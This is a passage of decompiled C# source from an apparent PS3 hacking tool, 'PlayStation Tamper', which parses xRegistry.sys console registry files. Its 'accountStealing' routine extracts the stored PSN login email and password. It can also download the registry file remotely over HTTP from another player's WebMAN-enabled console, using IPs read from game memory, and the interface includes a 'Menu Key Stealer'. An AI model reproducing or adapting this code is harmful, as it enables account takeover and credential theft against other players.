  920. break;
  921. }
  922. settingEntry2.DataExists = true;
  923. entry.FileNameEntry = settingEntry2;
  924. }
  925. }
  926. }
  927. this.FileLoaded = true;
  928. this.LoadEntries();
  929. }
  930. }
  931. }
  932.  
  933. // Token: 0x0600002D RID: 45 RVA: 0x00003CEC File Offset: 0x00001EEC
  934. public void LoadEntries()
  935. {
  936. bool flag = !this.FileLoaded;
  937. if (!flag)
  938. {
  939. this.ClearSelected();
  940. bool flag2 = !this.accountStealing;
  941. if (flag2)
  942. {
  943. this.lvEntries.Items.Clear();
  944. foreach (SettingDataEntry current in this.DataEntries)
  945. {
  946. bool flag3 = current.Flags != 122;
  947. if (flag3)
  948. {
  949. ListViewItem listViewItem = new ListViewItem("0x" + current.Checksum.ToString("X4"));
  950. listViewItem.SubItems.Add(current.FileNameEntry.Setting);
  951. listViewItem.SubItems.Add(current.ValueString);
  952. listViewItem.SubItems.Add(current.FileNameEntry.Value.ToString());
  953. listViewItem.SubItems.Add("0x" + current.Flags.ToString("X4"));
  954. listViewItem.Tag = current;
  955. this.lvEntries.Items.Add(listViewItem);
  956. }
  957. }
  958. }
  959. else
  960. {
  961. this.listView2.Items.Clear();
  962. foreach (SettingDataEntry current2 in this.DataEntries)
  963. {
  964. bool flag4 = current2.Flags != 122;
  965. if (flag4)
  966. {
  967. bool flag5 = current2.FileNameEntry.Setting.Contains("npaccount/loginid") || current2.FileNameEntry.Setting.Contains("npaccount/password");
  968. if (flag5)
  969. {
  970. string[] array = current2.FileNameEntry.Setting.Split(new char[]
  971. {
  972. '/'
  973. });
  974. current2.FileNameEntry.Setting = array[3];
  975. ListViewItem listViewItem2 = new ListViewItem(current2.FileNameEntry.Setting);
  976. listViewItem2.SubItems.Add(current2.ValueString);
  977. bool flag6 = current2.ValueString.Contains("@");
  978. if (flag6)
  979. {
  980. listViewItem2.SubItems.Add("Email");
  981. }
  982. else
  983. {
  984. listViewItem2.SubItems.Add("Password");
  985. }
  986. listViewItem2.Tag = current2;
  987. this.listView2.Items.Add(listViewItem2);
  988. }
  989. }
  990. }
  991. }
  992. }
  993. }
  994.  
  995. // Token: 0x0600002E RID: 46 RVA: 0x00003FC4 File Offset: 0x000021C4
  996. private void ClearSelected()
  997. {
  998. this.SelectedEntry = null;
  999. }
  1000.  
  1001. // Token: 0x0600002F RID: 47 RVA: 0x00003FD0 File Offset: 0x000021D0
  1002. private void lvEntries_SelectedIndexChanged(object sender, EventArgs e)
  1003. {
  1004. bool flag = !this.FileLoaded;
  1005. if (flag)
  1006. {
  1007. this.ClearSelected();
  1008. }
  1009. else
  1010. {
  1011. bool flag2 = this.lvEntries.SelectedItems == null;
  1012. if (flag2)
  1013. {
  1014. this.ClearSelected();
  1015. }
  1016. else
  1017. {
  1018. bool flag3 = this.lvEntries.SelectedItems.Count == 0;
  1019. if (flag3)
  1020. {
  1021. this.ClearSelected();
  1022. }
  1023. else
  1024. {
  1025. this.SelectedEntry = this.lvEntries.SelectedItems[0];
  1026. SettingDataEntry settingDataEntry = (SettingDataEntry)this.SelectedEntry.Tag;
  1027. }
  1028. }
  1029. }
  1030. }
  1031.  
  1032. // Token: 0x06000030 RID: 48 RVA: 0x0000405C File Offset: 0x0000225C
  1033. private void saveToolStripMenuItem_Click(object sender, EventArgs e)
  1034. {
  1035. bool flag = !this.FileLoaded;
  1036. if (!flag)
  1037. {
  1038. this.IO.Stream.Position = 65520L;
  1039. this.IO.Writer.Write(new byte[196624]);
  1040. this.IO.Stream.Position = 65520L;
  1041. this.IO.Writer.Write(19750);
  1042. foreach (SettingDataEntry current in this.DataEntries)
  1043. {
  1044. current.Save(this.IO);
  1045. }
  1046. this.IO.Writer.Write(170);
  1047. this.IO.Writer.Write(187);
  1048. this.IO.Writer.Write(204);
  1049. this.IO.Writer.Write(221);
  1050. this.IO.Writer.Write(238);
  1051. this.IO.Stream.Flush();
  1052. }
  1053. }
  1054.  
  1055. // Token: 0x06000031 RID: 49 RVA: 0x00002243 File Offset: 0x00000443
  1056. private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
  1057. {
  1058. }
  1059.  
  1060. // Token: 0x06000032 RID: 50 RVA: 0x000041AC File Offset: 0x000023AC
  1061. private void closeToolStripMenuItem_Click(object sender, EventArgs e)
  1062. {
  1063. this.DataEntries = new List<SettingDataEntry>();
  1064. this.SettingEntries = new List<SettingEntry>();
  1065. this.lvEntries.Items.Clear();
  1066. this.ClearSelected();
  1067. try
  1068. {
  1069. this.IO.Close();
  1070. }
  1071. catch
  1072. {
  1073. }
  1074. this.FileLoaded = false;
  1075. }
  1076.  
  1077. // Token: 0x06000033 RID: 51 RVA: 0x00004214 File Offset: 0x00002414
  1078. private void addSettingToolStripMenuItem_Click(object sender, EventArgs e)
  1079. {
  1080. bool flag = !this.FileLoaded;
  1081. if (!flag)
  1082. {
  1083. List<SettingEntry> arg_35_0 = this.SettingEntries;
  1084. Predicate<SettingEntry> arg_35_1;
  1085. if ((arg_35_1 = Form1.<>c.<>9__84_0) == null)
  1086. {
  1087. arg_35_1 = (Form1.<>c.<>9__84_0 = new Predicate<SettingEntry>(Form1.<>c.<>9.<addSettingToolStripMenuItem_Click>b__84_0));
  1088. }
  1089. List<SettingEntry> list = arg_35_0.FindAll(arg_35_1);
  1090. }
  1091. }
  1092.  
  1093. // Token: 0x06000034 RID: 52 RVA: 0x0000425C File Offset: 0x0000245C
  1094. private void exportToWikitextToolStripMenuItem_Click(object sender, EventArgs e)
  1095. {
  1096. bool flag = !this.FileLoaded;
  1097. if (!flag)
  1098. {
  1099. string text = "{| border=\"1\"\r\n|-\r\n! Setting\r\n! Usage\r\n! Values";
  1100. List<string> list = new List<string>();
  1101. foreach (SettingDataEntry current in this.DataEntries)
  1102. {
  1103. bool flag2 = current.Flags != 122;
  1104. if (flag2)
  1105. {
  1106. string setting = current.FileNameEntry.Setting;
  1107. bool flag3 = setting.Length > 22 && setting.Substring(0, 21) == "/setting/user/0000000";
  1108. if (flag3)
  1109. {
  1110. bool flag4 = current.Type == 2 && Encoding.ASCII.GetString((byte[])current.Value).Trim().Length == 0;
  1111. if (flag4)
  1112. {
  1113. continue;
  1114. }
  1115. string shortname = setting.Substring(22, setting.Length - 22);
  1116. bool flag5 = list.Find((string sec) => sec == shortname) == null;
  1117. if (!flag5)
  1118. {
  1119. continue;
  1120. }
  1121. list.Add(shortname);
  1122. }
  1123. text = text + "\r\n|-\r\n| " + current.FileNameEntry.Setting + "\r\n| ?\r\n| ";
  1124. text += current.ValueString;
  1125. }
  1126. }
  1127. text += "\r\n|}";
  1128. SaveFileDialog saveFileDialog = new SaveFileDialog();
  1129. bool flag6 = saveFileDialog.ShowDialog() == DialogResult.OK;
  1130. if (flag6)
  1131. {
  1132. File.WriteAllText(saveFileDialog.FileName, text);
  1133. }
  1134. }
  1135. }
  1136.  
  1137. // Token: 0x06000035 RID: 53 RVA: 0x00004414 File Offset: 0x00002614
  1138. private void exportToTextToolStripMenuItem_Click(object sender, EventArgs e)
  1139. {
  1140. bool flag = !this.FileLoaded;
  1141. if (!flag)
  1142. {
  1143. string text = "xRegistry.sys contents - dumped by xRegistry.sys Editor\r\nBy stoker25 - http://stoker25.com\r\n----------------------\r\n";
  1144. foreach (SettingDataEntry current in this.DataEntries)
  1145. {
  1146. bool flag2 = current.Flags != 122;
  1147. if (flag2)
  1148. {
  1149. text = text + "\r\nSetting: " + current.FileNameEntry.Setting;
  1150. text = text + "\r\n\tData Checksum: " + current.Checksum;
  1151. text = text + "\r\n\tData Flags: " + current.Flags;
  1152. text = text + "\r\n\tData Offset: " + current.Offset;
  1153. text = string.Concat(new object[]
  1154. {
  1155. text,
  1156. "\r\n\tData Header Offset: ",
  1157. current.FileNameOffset,
  1158. " (plus 16)"
  1159. });
  1160. text = text + "\r\n\tData Type: " + current.Type;
  1161. text = text + "\r\n\tData Terminator: " + current.Terminator;
  1162. text = text + "\r\n\tData Length: " + current.Length;
  1163. text = text + "\r\n\tData Value: " + current.ValueString;
  1164. text = text + "\r\n\tHeader Offset: " + current.FileNameEntry.Offset;
  1165. text = string.Concat(new object[]
  1166. {
  1167. text,
  1168. "\r\n\tHeader Value: ",
  1169. current.FileNameEntry.Value,
  1170. "\r\n"
  1171. });
  1172. }
  1173. }
  1174. text = string.Concat(new object[]
  1175. {
  1176. text,
  1177. "\r\n----------------------\r\nData Entry Count: ",
  1178. this.DataEntries.Count,
  1179. " (minus 1)"
  1180. });
  1181. SaveFileDialog saveFileDialog = new SaveFileDialog();
  1182. bool flag3 = saveFileDialog.ShowDialog() == DialogResult.OK;
  1183. if (flag3)
  1184. {
  1185. File.WriteAllText(saveFileDialog.FileName, text);
  1186. }
  1187. }
  1188. }
  1189.  
  1190. // Token: 0x06000036 RID: 54 RVA: 0x0000463C File Offset: 0x0000283C
  1191. private void halpToolStripMenuItem_Click(object sender, EventArgs e)
  1192. {
  1193. MessageBox.Show("Columns can be sorted, just click on one\r\nValues can be made bigger than original size (for strings anyway)\r\nThe value box is in hex for integer and binary entry types\r\nAnyone who wants to add more can feel free, just post the modifications somewhere.");
  1194. }
  1195.  
  1196. // Token: 0x06000037 RID: 55 RVA: 0x0000464C File Offset: 0x0000284C
  1197. private void lvEntries_ColumnClick(object sender, ColumnClickEventArgs e)
  1198. {
  1199. bool flag = e.Column == this.lvwColumnSorter.SortColumn;
  1200. if (flag)
  1201. {
  1202. bool flag2 = this.lvwColumnSorter.Order == SortOrder.Ascending;
  1203. if (flag2)
  1204. {
  1205. this.lvwColumnSorter.Order = SortOrder.Descending;
  1206. }
  1207. else
  1208. {
  1209. this.lvwColumnSorter.Order = SortOrder.Ascending;
  1210. }
  1211. }
  1212. else
  1213. {
  1214. this.lvwColumnSorter.SortColumn = e.Column;
  1215. this.lvwColumnSorter.Order = SortOrder.Ascending;
  1216. }
  1217. this.lvEntries.Sort();
  1218. }
  1219.  
  1220. // Token: 0x06000038 RID: 56 RVA: 0x000046D4 File Offset: 0x000028D4
  1221. private void exitToolStripMenuItem_Click(object sender, EventArgs e)
  1222. {
  1223. Process.GetCurrentProcess().Kill();
  1224. }
  1225.  
  1226. // Token: 0x06000039 RID: 57 RVA: 0x000046E4 File Offset: 0x000028E4
  1227. private void connectToConsoleToolStripMenuItem_Click(object sender, EventArgs e)
  1228. {
  1229. bool flag = this.listView1.SelectedItems.Count > 0;
  1230. if (flag)
  1231. {
  1232. try
  1233. {
  1234. bool flag2 = this.listView1.Items[this.listView1.FocusedItem.Index].SubItems[1].Text == "Running WebMAN";
  1235. if (flag2)
  1236. {
  1237. string text = this.listView1.Items[this.listView1.FocusedItem.Index].SubItems[1].Text;
  1238. for (int i = 0; i < 18; i++)
  1239. {
  1240. bool flag3 = !Form1.PS3.get_Extension().ReadBool(16461071u);
  1241. if (flag3)
  1242. {
  1243. this.name = Form1.PS3.get_Extension().ReadString(Convert.ToUInt32((long)((ulong)Form1.bo2[0] + (ulong)((long)i * 328L))));
  1244. this.ip = Form1.smethod_0(Form1.PS3.get_Extension().ReadBytes(Convert.ToUInt32((long)((ulong)Form1.bo2[1] + (ulong)((long)i * 328L))), 4));
  1245. this.port = this.method_32(i, Form1.bo2[2]).ToString();
  1246. }
  1247. else
  1248. {
  1249. this.name = Form1.PS3.get_Extension().ReadString(Convert.ToUInt32((long)((ulong)Form1.bo2p[0] + (ulong)((long)i * 328L))));
  1250. this.ip = Form1.smethod_0(Form1.PS3.get_Extension().ReadBytes(Convert.ToUInt32((long)((ulong)Form1.bo2p[1] + (ulong)((long)i * 328L))), 4));
  1251. this.port = this.method_32(i, Form1.bo2p[2]).ToString();
  1252. }
  1253. bool flag4 = this.name == text;
  1254. if (flag4)
  1255. {
  1256. this.textEdit1.Text = this.ip;
  1257. MessageBox.Show("IP is ready to be connected\r\nGo to the PlayStation Connection tab and connect", "Loaded");
  1258. }
  1259. }
  1260. }
  1261. }
  1262. catch
  1263. {
  1264. }
  1265. }
  1266. }
  1267.  
  1268. // Token: 0x0600003A RID: 58 RVA: 0x00002243 File Offset: 0x00000443
  1269. private void lvEntries_SelectedIndexChanged_1(object sender, EventArgs e)
  1270. {
  1271. }
  1272.  
  1273. // Token: 0x0600003B RID: 59 RVA: 0x0000490C File Offset: 0x00002B0C
  1274. private void simpleButton13_Click(object sender, EventArgs e)
  1275. {
  1276. this.accountStealing = true;
  1277. this.allowOpen = false;
  1278. bool flag = this.comboBoxEdit4.Text == "From File";
  1279. if (flag)
  1280. {
  1281. OpenFileDialog openFileDialog = new OpenFileDialog
  1282. {
  1283. Filter = "PS3 Registry files (*.sys)|*.sys|All Files (*.*)|*.*",
  1284. Multiselect = false
  1285. };
  1286. bool flag2 = openFileDialog.ShowDialog() == DialogResult.OK && openFileDialog.FileName.Trim().Length > 0;
  1287. if (flag2)
  1288. {
  1289. this.closeToolStripMenuItem_Click(null, null);
  1290. this.IO = new X360IO(openFileDialog.FileName, FileMode.Open, true);
  1291. this.allowOpen = true;
  1292. }
  1293. }
  1294. else
  1295. {
  1296. bool flag3 = this.comboBoxEdit4.Text == "From Connection";
  1297. if (flag3)
  1298. {
  1299. bool flag4 = this.connected;
  1300. if (flag4)
  1301. {
  1302. try
  1303. {
  1304. using (WebClient webClient = new WebClient())
  1305. {
  1306. webClient.DownloadFile("http://" + this.textEdit1.Text + "/dev_flash2/etc/xRegistry.sys", Environment.CurrentDirectory + "/xRegistry.sys");
  1307. this.closeToolStripMenuItem_Click(null, null);
  1308. this.IO = new X360IO(Environment.CurrentDirectory + "/xRegistry.sys", FileMode.Open, true);
  1309. this.allowOpen = true;
  1310. }
  1311. }
  1312. catch
  1313. {
  1314. MessageBox.Show("Error Downloading xRegistry.sys from Connection!", "PlayStation Tamper | Error");
  1315. }
  1316. }
  1317. else
  1318. {
  1319. MessageBox.Show("You Must Connect to a PlayStation First!", "PlayStation Tamper | Error");
  1320. this.allowOpen = false;
  1321. }
  1322. }
  1323. }
  1324. bool flag5 = this.allowOpen;
  1325. if (flag5)
  1326. {
  1327. uint num = this.IO.Reader.ReadUInt32();
  1328. bool flag6 = num != 3165498812u;
  1329. if (!flag6)
  1330. {
  1331. this.IO.Stream.Position = 16L;
  1332. this.SettingEntries = new List<SettingEntry>();
  1333. this.DataEntries = new List<SettingDataEntry>();
  1334. this.listView2.Items.Clear();
  1335. while (true)
  1336. {
  1337. SettingEntry settingEntry = new SettingEntry();
  1338. bool flag7 = !settingEntry.Load(this.IO);
  1339. if (flag7)
  1340. {
  1341. break;
  1342. }
  1343. this.SettingEntries.Add(settingEntry);
  1344. }
  1345. this.IO.Stream.Position = 65520L;
  1346. uint num2 = (uint)this.IO.Reader.ReadUInt16();
  1347. bool flag8 = num2 == 19750u;
  1348. if (flag8)
  1349. {
  1350. while (true)
  1351. {
  1352. SettingDataEntry settingDataEntry = new SettingDataEntry();
  1353. settingDataEntry.Load(this.IO);
  1354. bool flag9 = settingDataEntry.Flags != 43707 || settingDataEntry.FileNameOffset != 52445 || settingDataEntry.Checksum != 60928;
  1355. if (!flag9)
  1356. {
  1357. break;
  1358. }
  1359. this.DataEntries.Add(settingDataEntry);
  1360. }
  1361. }
  1362. using (List<SettingDataEntry>.Enumerator enumerator = this.DataEntries.GetEnumerator())
  1363. {
  1364. while (enumerator.MoveNext())
  1365. {
  1366. SettingDataEntry entry = enumerator.Current;
  1367. bool flag10 = entry.Flags != 122;
  1368. if (flag10)
  1369. {
  1370. SettingEntry settingEntry2 = this.SettingEntries.Find((SettingEntry sec) => sec.IsEntryOffset((long)(entry.FileNameOffset + 16)));
  1371. bool flag11 = settingEntry2 == null;
  1372. if (flag11)
  1373. {
  1374. MessageBox.Show("failed to load setting");
  1375. break;
  1376. }
  1377. settingEntry2.DataExists = true;
  1378. entry.FileNameEntry = settingEntry2;
  1379. }
  1380. }
  1381. }
  1382. this.FileLoaded = true;
  1383. this.LoadEntries();
  1384. }
  1385. }
  1386. }
  1387.  
  1388. // Token: 0x0600003C RID: 60 RVA: 0x00004CAC File Offset: 0x00002EAC
  1389. private void listView2_SelectedIndexChanged(object sender, ColumnClickEventArgs e)
  1390. {
  1391. bool flag = e.Column == this.lvwColumnSorter.SortColumn;
  1392. if (flag)
  1393. {
  1394. bool flag2 = this.lvwColumnSorter.Order == SortOrder.Ascending;
  1395. if (flag2)
  1396. {
  1397. this.lvwColumnSorter.Order = SortOrder.Descending;
  1398. }
  1399. else
  1400. {
  1401. this.lvwColumnSorter.Order = SortOrder.Ascending;
  1402. }
  1403. }
  1404. else
  1405. {
  1406. this.lvwColumnSorter.SortColumn = e.Column;
  1407. this.lvwColumnSorter.Order = SortOrder.Ascending;
  1408. }
  1409. this.listView2.Sort();
  1410. }
  1411.  
  1412. // Token: 0x0600003D RID: 61 RVA: 0x00004D34 File Offset: 0x00002F34
  1413. private void copyEntryToolStripMenuItem_Click(object sender, EventArgs e)
  1414. {
  1415. bool flag = this.listView2.SelectedItems.Count > 0;
  1416. if (flag)
  1417. {
  1418. bool flag2 = this.listView2.Items[this.listView2.FocusedItem.Index].SubItems[1].Text != "";
  1419. if (flag2)
  1420. {
  1421. Clipboard.SetText(this.listView2.Items[this.listView2.FocusedItem.Index].SubItems[1].Text);
  1422. }
  1423. }
  1424. }
  1425.  
  1426. // Token: 0x0600003E RID: 62 RVA: 0x00004DD0 File Offset: 0x00002FD0
  1427. protected override void Dispose(bool disposing)
  1428. {
  1429. bool flag = disposing && this.components != null;
  1430. if (flag)
  1431. {
  1432. this.components.Dispose();
  1433. }
  1434. base.Dispose(disposing);
  1435. }
  1436.  
  1437. // Token: 0x0600003F RID: 63 RVA: 0x00004E08 File Offset: 0x00003008
  1438. private void InitializeComponent()
  1439. {
  1440. this.components = new Container();
  1441. ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));
  1442. this.defaultLookAndFeel1 = new DefaultLookAndFeel(this.components);
  1443. this.xtraTabControl1 = new XtraTabControl();
  1444. this.xtraTabPage1 = new XtraTabPage();
  1445. this.webBrowser3 = new WebBrowser();
  1446. this.webBrowser2 = new WebBrowser();
  1447. this.memoEdit2 = new MemoEdit();
  1448. this.memoEdit1 = new MemoEdit();
  1449. this.simpleButton6 = new SimpleButton();
  1450. this.labelControl6 = new LabelControl();
  1451. this.comboBoxEdit1 = new ComboBoxEdit();
  1452. this.textEdit3 = new TextEdit();
  1453. this.labelControl5 = new LabelControl();
  1454. this.labelControl4 = new LabelControl();
  1455. this.labelControl3 = new LabelControl();
  1456. this.simpleButton5 = new SimpleButton();
  1457. this.radioGroup1 = new RadioGroup();
  1458. this.simpleButton3 = new SimpleButton();
  1459. this.simpleButton2 = new SimpleButton();
  1460. this.listBoxControl1 = new ListBoxControl();
  1461. this.labelControl1 = new LabelControl();
  1462. this.textEdit1 = new TextEdit();
  1463. this.simpleButton1 = new SimpleButton();
  1464. this.xtraTabPage2 = new XtraTabPage();
  1465. this.comboBoxEdit2 = new ComboBoxEdit();
  1466. this.labelControl10 = new LabelControl();
  1467. this.simpleButton9 = new SimpleButton();
  1468. this.textEdit5 = new TextEdit();
  1469. this.webBrowser1 = new WebBrowser();
  1470. this.contextMenuStrip1 = new ContextMenuStrip(this.components);
  1471. this.forwardToolStripMenuItem = new ToolStripMenuItem();
  1472. this.backToolStripMenuItem = new ToolStripMenuItem();
  1473. this.homeToolStripMenuItem = new ToolStripMenuItem();
  1474. this.xtraTabPage3 = new XtraTabPage();
  1475. this.textEdit4 = new TextEdit();
  1476. this.labelControl9 = new LabelControl();
  1477. this.labelControl8 = new LabelControl();
  1478. this.memoEdit3 = new MemoEdit();
  1479. this.simpleButton8 = new SimpleButton();
  1480. this.listBoxControl2 = new ListBoxControl();
  1481. this.xtraTabPage4 = new XtraTabPage();
  1482. this.xtraTabControl2 = new XtraTabControl();
  1483. this.xtraTabPage12 = new XtraTabPage();
  1484. this.comboBoxEdit3 = new ComboBoxEdit();
  1485. this.labelControl7 = new LabelControl();
  1486. this.lvEntries = new ListView();
  1487. this.chChecksum = new ColumnHeader();
  1488. this.chSetting = new ColumnHeader();
  1489. this.chValue = new ColumnHeader();
  1490. this.chHeaderValue = new ColumnHeader();
  1491. this.chFlags = new ColumnHeader();
  1492. this.simpleButton7 = new SimpleButton();
  1493. this.xtraTabPage13 = new XtraTabPage();
  1494. this.listView2 = new ListView();
  1495. this.columnHeader9 = new ColumnHeader();
  1496. this.columnHeader3 = new ColumnHeader();
  1497. this.columnHeader8 = new ColumnHeader();
  1498. this.contextMenuStrip3 = new ContextMenuStrip(this.components);
  1499. this.copyEntryToolStripMenuItem = new ToolStripMenuItem();
  1500. this.comboBoxEdit4 = new ComboBoxEdit();
  1501. this.simpleButton13 = new SimpleButton();
  1502. this.xtraTabPage5 = new XtraTabPage();
  1503. this.checkEdit1 = new CheckEdit();
  1504. this.simpleButton4 = new SimpleButton();
  1505. this.labelControl2 = new LabelControl();
  1506. this.textEdit2 = new TextEdit();
  1507. this.xtraTabPage7 = new XtraTabPage();
  1508. this.labelControl13 = new LabelControl();
  1509. this.memoEdit4 = new MemoEdit();
  1510. this.labelControl12 = new LabelControl();
  1511. this.textEdit6 = new TextEdit();
  1512. this.simpleButton14 = new SimpleButton();
  1513. this.xtraTabPage6 = new XtraTabPage();
  1514. this.listView1 = new ListView();
  1515. this.columnHeader1 = new ColumnHeader();
  1516. this.columnHeader2 = new ColumnHeader();
  1517. this.contextMenuStrip2 = new ContextMenuStrip(this.components);
  1518. this.connectToConsoleToolStripMenuItem = new ToolStripMenuItem();
  1519. this.simpleButton12 = new SimpleButton();
  1520. this.labelControl11 = new LabelControl();
  1521. this.simpleButton11 = new SimpleButton();
  1522. this.simpleButton10 = new SimpleButton();
  1523. this.radioGroup2 = new RadioGroup();
  1524. this.timer1 = new Timer(this.components);
  1525. ((ISupportInitialize)this.xtraTabControl1).BeginInit();
  1526. this.xtraTabControl1.SuspendLayout();
  1527. this.xtraTabPage1.SuspendLayout();
  1528. ((ISupportInitialize)this.memoEdit2.Properties).BeginInit();
  1529. ((ISupportInitialize)this.memoEdit1.Properties).BeginInit();
  1530. ((ISupportInitialize)this.comboBoxEdit1.Properties).BeginInit();
  1531. ((ISupportInitialize)this.textEdit3.Properties).BeginInit();
  1532. ((ISupportInitialize)this.radioGroup1.Properties).BeginInit();
  1533. ((ISupportInitialize)this.listBoxControl1).BeginInit();
  1534. ((ISupportInitialize)this.textEdit1.Properties).BeginInit();
  1535. this.xtraTabPage2.SuspendLayout();
  1536. ((ISupportInitialize)this.comboBoxEdit2.Properties).BeginInit();
  1537. ((ISupportInitialize)this.textEdit5.Properties).BeginInit();
  1538. this.contextMenuStrip1.SuspendLayout();
  1539. this.xtraTabPage3.SuspendLayout();
  1540. ((ISupportInitialize)this.textEdit4.Properties).BeginInit();
  1541. ((ISupportInitialize)this.memoEdit3.Properties).BeginInit();
  1542. ((ISupportInitialize)this.listBoxControl2).BeginInit();
  1543. this.xtraTabPage4.SuspendLayout();
  1544. ((ISupportInitialize)this.xtraTabControl2).BeginInit();
  1545. this.xtraTabControl2.SuspendLayout();
  1546. this.xtraTabPage12.SuspendLayout();
  1547. ((ISupportInitialize)this.comboBoxEdit3.Properties).BeginInit();
  1548. this.xtraTabPage13.SuspendLayout();
  1549. this.contextMenuStrip3.SuspendLayout();
  1550. ((ISupportInitialize)this.comboBoxEdit4.Properties).BeginInit();
  1551. this.xtraTabPage5.SuspendLayout();
  1552. ((ISupportInitialize)this.checkEdit1.Properties).BeginInit();
  1553. ((ISupportInitialize)this.textEdit2.Properties).BeginInit();
  1554. this.xtraTabPage7.SuspendLayout();
  1555. ((ISupportInitialize)this.memoEdit4.Properties).BeginInit();
  1556. ((ISupportInitialize)this.textEdit6.Properties).BeginInit();
  1557. this.xtraTabPage6.SuspendLayout();
  1558. this.contextMenuStrip2.SuspendLayout();
  1559. ((ISupportInitialize)this.radioGroup2.Properties).BeginInit();
  1560. base.SuspendLayout();
  1561. this.defaultLookAndFeel1.LookAndFeel.SkinName = "Visual Studio 2013 Dark";
  1562. this.xtraTabControl1.Dock = DockStyle.Fill;
  1563. this.xtraTabControl1.Location = new Point(0, 0);
  1564. this.xtraTabControl1.Name = "xtraTabControl1";
  1565. this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
  1566. this.xtraTabControl1.Size = new Size(1116, 632);
  1567. this.xtraTabControl1.TabIndex = 0;
  1568. this.xtraTabControl1.TabPages.AddRange(new XtraTabPage[]
  1569. {
  1570. this.xtraTabPage1,
  1571. this.xtraTabPage2,
  1572. this.xtraTabPage3,
  1573. this.xtraTabPage4,
  1574. this.xtraTabPage5,
  1575. this.xtraTabPage7,
  1576. this.xtraTabPage6
  1577. });
  1578. this.xtraTabPage1.Controls.Add(this.webBrowser3);
  1579. this.xtraTabPage1.Controls.Add(this.webBrowser2);
  1580. this.xtraTabPage1.Controls.Add(this.memoEdit2);
  1581. this.xtraTabPage1.Controls.Add(this.memoEdit1);
  1582. this.xtraTabPage1.Controls.Add(this.simpleButton6);
  1583. this.xtraTabPage1.Controls.Add(this.labelControl6);
  1584. this.xtraTabPage1.Controls.Add(this.comboBoxEdit1);
  1585. this.xtraTabPage1.Controls.Add(this.textEdit3);
  1586. this.xtraTabPage1.Controls.Add(this.labelControl5);
  1587. this.xtraTabPage1.Controls.Add(this.labelControl4);
  1588. this.xtraTabPage1.Controls.Add(this.labelControl3);
  1589. this.xtraTabPage1.Controls.Add(this.simpleButton5);
  1590. this.xtraTabPage1.Controls.Add(this.radioGroup1);
  1591. this.xtraTabPage1.Controls.Add(this.simpleButton3);
  1592. this.xtraTabPage1.Controls.Add(this.simpleButton2);
  1593. this.xtraTabPage1.Controls.Add(this.listBoxControl1);
  1594. this.xtraTabPage1.Controls.Add(this.labelControl1);
  1595. this.xtraTabPage1.Controls.Add(this.textEdit1);
  1596. this.xtraTabPage1.Controls.Add(this.simpleButton1);
  1597. this.xtraTabPage1.Name = "xtraTabPage1";
  1598. this.xtraTabPage1.Size = new Size(1114, 602);
  1599. this.xtraTabPage1.Text = "PlayStation Connection";
  1600. this.xtraTabPage1.Paint += new PaintEventHandler(this.xtraTabPage1_Paint);
  1601. this.webBrowser3.IsWebBrowserContextMenuEnabled = false;
  1602. this.webBrowser3.Location = new Point(706, 392);
  1603. this.webBrowser3.MinimumSize = new Size(20, 20);
  1604. this.webBrowser3.Name = "webBrowser3";
  1605. this.webBrowser3.ScriptErrorsSuppressed = true;
  1606. this.webBrowser3.ScrollBarsEnabled = false;
  1607. this.webBrowser3.Size = new Size(397, 198);
  1608. this.webBrowser3.TabIndex = 19;
  1609. this.webBrowser3.TabStop = false;
  1610. this.webBrowser3.Url = new Uri("", UriKind.Relative);
  1611. this.webBrowser3.WebBrowserShortcutsEnabled = false;
  1612. this.webBrowser2.AllowWebBrowserDrop = false;
  1613. this.webBrowser2.IsWebBrowserContextMenuEnabled = false;
  1614. this.webBrowser2.Location = new Point(706, 149);
  1615. this.webBrowser2.MinimumSize = new Size(20, 20);
  1616. this.webBrowser2.Name = "webBrowser2";
  1617. this.webBrowser2.ScriptErrorsSuppressed = true;
  1618. this.webBrowser2.ScrollBarsEnabled = false;
  1619. this.webBrowser2.Size = new Size(397, 237);
  1620. this.webBrowser2.TabIndex = 18;
  1621. this.webBrowser2.TabStop = false;
  1622. this.webBrowser2.Url = new Uri("http://playstationtamper.com/monitor.php", UriKind.Absolute);
  1623. this.webBrowser2.WebBrowserShortcutsEnabled = false;
  1624. this.webBrowser2.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(this.webBrowser2_DocumentCompleted);
  1625. this.memoEdit2.Location = new Point(435, 22);
  1626. this.memoEdit2.Name = "memoEdit2";
  1627. this.memoEdit2.Properties.ReadOnly = true;
  1628. this.memoEdit2.Properties.UseReadOnlyAppearance = false;
  1629. this.memoEdit2.Size = new Size(668, 114);
  1630. this.memoEdit2.TabIndex = 17;
  1631. this.memoEdit1.Location = new Point(320, 179);
  1632. this.memoEdit1.Name = "memoEdit1";
  1633. this.memoEdit1.Properties.ReadOnly = true;
  1634. this.memoEdit1.Properties.UseReadOnlyAppearance = false;
  1635. this.memoEdit1.Size = new Size(380, 411);
  1636. this.memoEdit1.TabIndex = 16;
  1637. this.simpleButton6.Enabled = false;
  1638. this.simpleButton6.Location = new Point(629, 150);
  1639. this.simpleButton6.Name = "simpleButton6";
  1640. this.simpleButton6.Size = new Size(71, 23);
  1641. this.simpleButton6.TabIndex = 15;
  1642. this.simpleButton6.Text = "Steal Key";
  1643. this.simpleButton6.Click += new EventHandler(this.simpleButton6_Click);
  1644. this.labelControl6.Location = new Point(320, 153);
  1645. this.labelControl6.Name = "labelControl6";
  1646. this.labelControl6.Size = new Size(105, 16);
  1647. this.labelControl6.TabIndex = 14;
  1648. this.labelControl6.Text = "Menu Key Stealer:";
  1649. this.comboBoxEdit1.EditValue = "Reflex Engine";
  1650. this.comboBoxEdit1.Location = new Point(431, 150);
  1651. this.comboBoxEdit1.Name = "comboBoxEdit1";
  1652. this.comboBoxEdit1.Properties.Buttons.AddRange(new EditorButton[]
  1653. {
  1654. new EditorButton(ButtonPredefines.Combo)
  1655. });
  1656. this.comboBoxEdit1.Properties.DropDownRows = 10;
  1657. this.comboBoxEdit1.Properties.Items.AddRange(new object[]
  1658. {
  1659. "Reflex Engine",
  1660. "LastTeamStanding",
  1661. "Serendipity",
  1662. "Lexicon",
  1663. "Paradise"
  1664. });
  1665. this.comboBoxEdit1.Size = new Size(192, 22);
  1666. this.comboBoxEdit1.TabIndex = 13;
  1667. this.textEdit3.EditValue = "80";
  1668. this.textEdit3.Enabled = false;
  1669. this.textEdit3.Location = new Point(255, 50);
  1670. this.textEdit3.Name = "textEdit3";
  1671. this.textEdit3.Size = new Size(48, 22);
